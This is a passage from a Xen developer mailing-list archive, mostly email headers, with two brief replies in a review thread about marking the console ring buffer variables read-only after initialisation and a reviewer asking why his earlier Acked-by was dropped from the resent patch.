	2uSkzKxpshLD9Gls=; b=Oh9MmKoRGgQPaD6a8CZcgBKawBbOUcfop5IRlTXqH7z
	hcBl/SB07zuLv9Id26UYqfkwR7I29MxSKNRHbCn+R50GRoZsZCj+kkIshFO0Gn6c
	5SjNn3liWBUpMb9ulvUUw56Ai6XvaMaUw1uBYmzawbyQBnwE+XLrFJ/XRcyM6WDh
	Mi2gLfDRwVxsemffdwpyQ0QECYOTFOAe4Y4igjBBY5AcL/HHTv7HZqvUyR2EK7BO
	UPDO9mxj2riyKRfR96/TGx98wDQuExHWaSW7ScQLQ/v4dNwRddrJsEHUCYwv5aGN
	c+zY8qOSUNrh4At226CHArPt4LXEGFqX3z+GWLqh7gw==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=EVXSQYkZKVlmBKM+ZfIFJN0Dk17XIWSfbc/oe9zXQRaLi4AKHSz070iyIklIR+Y4dupz1LkoSAzqCgcwgAYIVgSLbkpxKkoxZ8grRXSsHixxPuH4BX9lQtX3iansotueycpHzMzbW+OxEsNmKUEGP6FqWzOaPJ4oGIiLp7UM9Qy1vi3hnKPN2EEdrSuQ2gdgd+YcJ6l1RKRJIWZKFMHsXskrzzapVqVTEbBESwRSUD8dFHWrFwv05mVWwm5qd/5P8BwwP5l+Jpu8AdHLBrNj7w3KHpDdjsHseHJ1Qx3+mUb3wo674N46DGJu+GIhj8/VwjQUp4nWPxzqmU6D5ugptA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Me1P+D9/4IGJKkjELLl1ahTsPu92uSkzKxpshLD9Gls=;
 b=Q8v75vrG5EQMz/EJtLwJm1ApBYjqn6RBxSDFsuFkiNYoEaki/S5nSSSJPQliZ8RIVhRTCz3WNZiB9kFMllNePX6Y/EZwu4YFq1t4mH4terd93aA9d7VU0zZCauK+F71AW8xYHahlZb9IGxsL5Ln0iUVRjnRfnjRjB6krSPcHp9u51B1WPxUH/dfy21dvakLOoamWHORA8LRvwvr6VdUXMU5okvxoN8S1ncjckaa/Ag7XKBKJtSosrImQhljVy2ofPf5qBVyTBDVCJ7xAFW6YTOo2x5nDPMKtQ80yOUqcs+dyTpIAfQrMTiJoH6wn6CnzwydE3ikrSsGESpPmdMYtUQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Me1P+D9/4IGJKkjELLl1ahTsPu92uSkzKxpshLD9Gls=;
 b=IwV7BiVn7YFFYFQ1Ulb4JaVyxfvZnS+XZKzOQiEK06PycuV1eW7ZDyCiY8F44up66Wf2vhb5k3OQtUfZaqrwOqvp/SNOHaplE6Aj3JNVznaBKaIL6Si6tBE+UhLlhiesAG1jsxQV6SjiZx6yQgGHYB2szvv+uTM9YJa33wONczY=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppserprodsaar;
	 bh=Me1P+D9/4IGJKkjELLl1ahTsPu92uSkzKxpshLD9Gls=; b=l6pQq3WQOk49
	0j9RbV14EBPQSv03aDfjaRbSkBcyiTVX+9KbtlPIWVsTXQLf+9UdokYIuCgGgRNF
	inBTRAHMr1GQjBenARrP6xym+ZWkvEzP7/VUbCgir8lpnW3F+57tq8+txG57n4dP
	81y7qlCPop2i8nr8lTm/t1UOZeGiCz7s7z7PDI2yNbSRwltmhSyP3scg2Rq9Yl0t
	VN8hR//MErqTpkXcf4qqUlWov2V4K6AhFhF5JrE2WKHPPDt/50o2CRenfx+tO7F+
	CikoOqmvT2fVSVwElkKUcoqnD3aV9tinSRVq4jZHjH78/+TPeSEntdeqwX71+jhi
	Zk7+3GnLhw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppfserpocford; bh=Me1P+D9/4IGJKkjELLl1
	ahTsPu92uSkzKxpshLD9Gls=; b=Yks6AME4/9Y0QIiodXz4lCpr+VcgtEnwWma2
	Jj9eABS0Q2z8pVdU2lMe+obiv4yzKJwkN6U7t3w74rjOv0dRaZ+A7aFlCdB6Rprg
	2FkQIz75QeCVqDJLxDeNkuQwnX1YCu3ScSphpNgndi0VDehQor5h5MIOnEZPOSZd
	OdD8eydJ7reyQ6l2t0ZA98+0CngKh92ZB5SOiBaJCcKZaYlP/i+a2lp+2yvat8rn
	rBWbquerttx7UxaXoWS1Exbq6ymgm82+RjOC+fJ5kvP0m3jtHowrxRoITkHkY/Zm
	VaH/JwbKBoY329qCjSN53Ayouc3EmVKYq40Znlhq/E2J3DiBEA==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jcHewK0NsipGjjcHfwQQHV
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Tue, 14 Jul 2026 05:30:46 -0700
To: Jan Beulich <jbeulich@suse.com>
Cc: dmukhin@ford.com, andrew.cooper3@citrix.com, anthony.perard@vates.tech,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 1/7] xen/console: promote conring{,_size} to
 __ro_after_init
Message-ID: <alYr9jCy/aq2odXN@kraken>
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-2-dmukhin@ford.com>
 <93763802-ae88-48ce-ac3f-2b0ab79b4431@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <93763802-ae88-48ce-ac3f-2b0ab79b4431@suse.com>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-14_03,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 phishscore=0 malwarescore=0 lowpriorityscore=0 spamscore=0
 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607140130
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS2PEPF000061C4:EE_|SA1PR16MB4729:EE_
X-MS-Office365-Filtering-Correlation-Id: ff59e635-9c04-4665-0009-08dee1a3bd93
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|23010399003|1800799024|376014|36860700016|3023799007|6133799003|56012099006|11063799006|4143699003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	xAMWhzPjUGeiJNRKwRS1GT24hwyh6d4HwWbL4rk/CuoMLnbQ4iqYnO3dNn1Dsr2GMfZYhTwzgsMvVsWL919JrZBmpG+xvgroHZvvLo/0W7ZyP37oZ646AzlL7qqWKhFE+lkQ5YNDBCvdOEHdO/Q2XPldZ7QI5nbfOjTKaGV7q3ialYd81xLPuTi8XSJRU9sA/3aJFDc2inxpaT52oPg8oDwkPhEY6EjfUAvvhc+8h8FIGi/hbHA/9BxR4G5BPo7+9QdQRU6mNNW2d67bYfhlAZ30vBDcmjlo6SI0KBY2/TfseC/YgsddDsgvO7a4KsMHoeW7kfHnxoBmg0ymD6nyDEQW/zuoUDuBIPMstJddWlNyOJ/Z5qnNIwWazPgWU3KeWAbKzeZZgLKNWvyB+IwlMxu2KzVz7aN8IpuqkMYG/itlJsTv2Terj8iA8js58xd4s3sj2g4LLGj2P6pjEuNM8dyUSfYg2cNPsPBkkgodbEGpBlV5CN7B444S5Z+19nyNE+wOggoLK/o6WT/bV+Tq3T2XOSWwhk8r05iilBbYWrVD1G9A6Ct/Ari6yM82zdA1GRO1ji2s9TelncglOkzUhk2c4ff+RpJ7naNpzGCxO2PFXs5NuRd8jSc97fD2Rkxs8Xt2nHvgDiXx1ENsajQNO+STqzaYzBZBtEzOjMD1XTc0XNoRpJySX3IDNy3IFOuUsUKM0xK0/MFBMUoy/IErAg==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(23010399003)(1800799024)(376014)(36860700016)(3023799007)(6133799003)(56012099006)(11063799006)(4143699003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	NDwNoSrKc6gXBHwuA2miK5IC5gEoiUyhnlXyeXEonA+p9I5DPhKIFHue4W4dC8Lg3ttXPKKhfVarlU6tH4tSXoXywiIX8iCFfCBMfy6UOiwb2DAaJqiJhbz2EMH8aG7SkoCuxXgyRRBzfcYFrWEV1xU3Dgh8XBxVlr2I2tf9CxqINE+buTFMilqMAhAQUkiZdvBWJHWC7ihug31Zs24DX/vmehjcaPxvQA1VEvH6sTE/NwROiGuueFT2tHlX9IGij3HiIVCGliNsTomsCQvNNK6NFDo7QV/3hvw9HZSbbGiBOu5/0ue4fjNXA9neHXI1Ss18aUU+pm28/bn0ks9vMRt/DDZTRfYNE01TyYZ33b9ny/NoPLgP7ms+EBhe0E6Sd86WNhp5KG10qzI2h8k8h7LbibMf4Z0ttcGhRksi8DO1aVcZKzbfFOCHkG6bALNb
X-Exchange-RoutingPolicyChecked:
	VAw4urTnCkNSmG4hdJpL5HMD+xwpxxesJH9Q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-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 12:30:50.7094
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ff59e635-9c04-4665-0009-08dee1a3bd93
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DS2PEPF000061C4.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA1PR16MB4729
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE0MDEzMCBTYWx0ZWRfX7goRHEYS7Q07
 6rDY5DRg7kjOxOxNy0mAU6ExPBDyxchMsgwgCTPJxllU64TLWKQAm9dRE/bV290yFKUPBbgajRr
 SqiQT241KxpSxJRB2eI/bU5xXVn4oej8p68B/0VgtBS94zDCgzRnyPEHI6KS2rmsXFTQQ9gRpvQ
 upiIqXXXMDT2LdI9Qb4OlID2QjFcgYmJEioVejJuSi1gbp1xnRslPNOolvsbJ6UNd1UfpTbGC8f
 gjwHlaZWBVxjTZO91AH0wS5rP1DSwe7vhhZ2Urx/dmxNh9hBd26aM7GHknHU4W2pb/Tc9C9PKbu
 Zq3fsrX0xryufkKeAnmhQgAQns/CENWR5FPAM0eC8EyluO6g7JbF738pf4jWNrwyfd3IqQalS0e
 Wa+Ui6BUytFOZtLzfFBEybyT7qpjzUnLiLZxpFWD6uOgTc/+EGTjJvXMtiJTSedYlE2XVShlgK5
 FasIWLfK7XZrNNhEsUw==
X-Authority-Analysis: v=2.4 cv=Ir8utr/g c=1 sm=1 tr=0 ts=6a562c04 cx=c_pps
 a=+7NNu1siU3MXiwb9s73WHg==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=N9_n2FxmZfwfyRXvS9-E:22
 a=cbNQJ9GKAAAA:8 a=tHz9FfFoAAAA:8 a=tjogBNL-8eSFkA3lrysA:9 a=CjuIK1q_8ugA:10
 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE0MDEzMCBTYWx0ZWRfX+YhGGGY+Oq+P
 ony7mGj0Eq/av1W53DGs1xABCNcKgFazHX/7Om+IzgDfdMEe4lf0AfYQKlUOOgd7YyBwM8tGfQ3
 rKTuboZQnDiwJya+nLzkrqHil5j4I+Tt/4yoitUPvQOqIL2LCMiE
X-Proofpoint-ORIG-GUID: 32gp6T4ivdLpG5HMfabslb9nLtFaEEQ5
X-Proofpoint-GUID: 32gp6T4ivdLpG5HMfabslb9nLtFaEEQ5
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-14_03,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 clxscore=1015
 spamscore=0 lowpriorityscore=0 priorityscore=1501 phishscore=0 adultscore=0
 bulkscore=0 malwarescore=0 impostorscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607140130
X-purgate-ID: tlsNG-c1860d/1784032263-D6D4087B-B4F848DC/0/0
X-purgate-type: clean
X-purgate-size: 607

On Tue, Jul 14, 2026 at 08:08:37AM +0200, Jan Beulich wrote:
> On 13.07.2026 20:16, dmukhin@ford.com wrote:
> > From: Denis Mukhin <dmukhin@ford.com> 
> > 
> > Both conring{,_size} should be RO after initialization is completed.
> > 
> > Change the conring integer parameters type to `unsigned int` as required
> > by CODING_STYLE.
> > 
> > Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
> > Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> > ---
> > Changes since v6:
> > - rebased
> 
> With no changes, where did my A-b go (offered on v5 with the types adjusted)?

Will resend.


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 12:31:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 12:31:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362345.1614167 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjcIf-0000oQ-32; Tue, 14 Jul 2026 12:31:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362345.1614167; Tue, 14 Jul 2026 12:31:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjcIe-0000oJ-WD; Tue, 14 Jul 2026 12:31:49 +0000
Received: by outflank-mailman (input) for mailman id 1362345;
 Tue, 14 Jul 2026 12:31:47 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjcId-0000mt-H9
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:31:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjcIc-00HEVV-Tq
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 14:31:46 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a562c28-bab6-0a2a0a5309dd-0a2a450bc20c-28
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 14:31:46 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a562c32-b7e8-0a2a450b0019-d155dd33c078-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 14:31:46 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-4758b2a9e2aso2648712f8f.2
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 05:31:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f462e0cb2sm7831205f8f.0.2026.07.14.05.31.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 05:31:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784032306; x=1784637106; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=SS31AGdKdY2+WTchHe2GV2u0jXxWYjcS0mMvYFhBdbM=;
        b=f6WW+UBBfUOlFGN1atOqcnjP7mUhlgqGRrtZ8HwgRoHPr+ksWalI2W4J4HJo2qfsHE
         wBGKSCmTcUIPA6PUe7dfc7xoCwnSDnqJHVe+thcPrKgWzQt0ZJVLOuG1zcPVyX1cmHVS
         B/9W8U58LocNNySrDOpKFux1IoiPKjYM/J6gqkdU67bnTSIggQ1f27JECeEEKt9EIbwD
         i/I+K5qVFxZvm8GyAeWIFt3BB7LZbdyQYc7iVshkYD5udtBWJNOGioct+5CJT819TVE9
         CfVUXZfsE/QFVV39KZCRWfUExhUp3qi9PFi4KT7F4BsWoKuyPOamGgC00YyLJgl3Ta4R
         hUSw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784032306; x=1784637106;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=SS31AGdKdY2+WTchHe2GV2u0jXxWYjcS0mMvYFhBdbM=;
        b=cG72kBMuh6r9rw/U/g43wfafuv38l39u3talgnBBgoRj2x66LXboI4jH8qZLjLTtXv
         1fE1HSiy/BQAnHq8eSr/7bQTS7fRcHKZjMjTSVbQyD8z6CSSecTye9HnsFW8fH2OkjIj
         ESfYJ3KRUlagwUrhF0UgmcSdUyQz9EeKPyowCqMZjXXEzbB3JyhZs3FnKG3km1ojgW5z
         Ctfm564HHaCuoNASQNBhfj5Hwb3lx5gNEmQjJJyQGdR8v65jcsILIBNk1Z22qisZqKXx
         6ncqdqdWW+CzPsBOehKez2eOGQGXqNXZ4vuhL0KFnF80qduCNm2l9G1zUR7g9oRKQjsb
         FUyA==
X-Forwarded-Encrypted: i=1; AHgh+RpRDpKpKLMwGy1rXQwp9NQzTE+4WTVgEnoJlm/h7hxNHoM3KblEcXJS0vR7KiCE4gKe/j6HvP5T8Ps=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwNA+0WaYg7KBU3tO8c0Gl/QrKgC5T3ve5LlpDNJL1AssrU8iNK
	Y3rp4kWU/3ilRNQ1qHztR8jiR4ELMR/M2j/BGqmxZuZ19FOpv0kkFkPmWoutQc0rRQ==
X-Gm-Gg: AfdE7clA/HcNJq7b6L+IhzlAwGYvwHj3LysbZRvGrtz7JjFKFytuL+yjpsQnTYBeIQ7
	qMnIxDbciT438CNM+rvgv5rMTtNk13HNJyuMkiXpRioGYVTAUsF1dQFd2rd55tCfFG7d39h8akg
	tQjFdzsf1vV++gC4ZuU6bxnhlQT921kKCXsTTqyhK9z/EgVRyZzdtDW/XhPwBtYTqkq4/nW7fD4
	ZUTgQcVlxw4DIueC3nKQ/zIE0QYG+y2Ew2eEMECtTuOcuujMpo2Bpa4Rw5auu7L2NArWcXw1A8b
	p+9Yr4SaiLPBjri2Rm3cgEiPHUV84U8bv43Qszh/B8ihNr+J0ZlaB1wn4TeB7ldJwI6SN1umDvZ
	F5fsInkmRw+GBxosnGs8WbYAbbGNZ7eduQGKMF+wgdHT2kP/8J1ZB0l6K/Yo7R+se0tdpzesrrB
	9RvwqFDpidGBPhJzPu8YW7VmPCfqFN3VL4qMBgbTvqYhmtnWgdRZly99EuCdfAU548EdthPTYRm
	N93
X-Received: by 2002:a05:6000:1a8d:b0:46b:7f57:7109 with SMTP id ffacd0b85a97d-47f4887e1famr2737167f8f.20.1784032306119;
        Tue, 14 Jul 2026 05:31:46 -0700 (PDT)
Message-ID: <73a2d7f4-606f-4c7a-9b45-6ea529c80748@suse.com>
Date: Tue, 14 Jul 2026 14:31:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 1/7] xen/console: promote conring{,_size} to
 __ro_after_init
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-2-dmukhin@ford.com>
 <93763802-ae88-48ce-ac3f-2b0ab79b4431@suse.com> <alYr9jCy/aq2odXN@kraken>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <alYr9jCy/aq2odXN@kraken>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1784032306-1B8D19EA-DB0031DB/0/0
X-purgate-type: clean
X-purgate-size: 695

On 14.07.2026 14:30, dmukhin@ford.com wrote:
> On Tue, Jul 14, 2026 at 08:08:37AM +0200, Jan Beulich wrote:
>> On 13.07.2026 20:16, dmukhin@ford.com wrote:
>>> From: Denis Mukhin <dmukhin@ford.com> 
>>>
>>> Both conring{,_size} should be RO after initialization is completed.
>>>
>>> Change the conring integer parameters type to `unsigned int` as required
>>> by CODING_STYLE.
>>>
>>> Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
>>> Signed-off-by: Denis Mukhin <dmukhin@ford.com>
>>> ---
>>> Changes since v6:
>>> - rebased
>>
>> With no changes, where did my A-b go (offered on v5 with the types adjusted)?
> 
> Will resend.

Not just for this, please.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 12:33:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 12:33:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362357.1614188 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjcKF-0001Ov-Fp; Tue, 14 Jul 2026 12:33:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362357.1614188; Tue, 14 Jul 2026 12:33:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjcKF-0001Oo-D4; Tue, 14 Jul 2026 12:33:27 +0000
Received: by outflank-mailman (input) for mailman id 1362357;
 Tue, 14 Jul 2026 12:33:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjcKD-0001OI-H9
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:33:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjcKC-000xOU-TU
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 14:33:24 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a562c71-5cb7-0a2a0a5109dd-0a2a4507d574-48
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 14:33:24 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
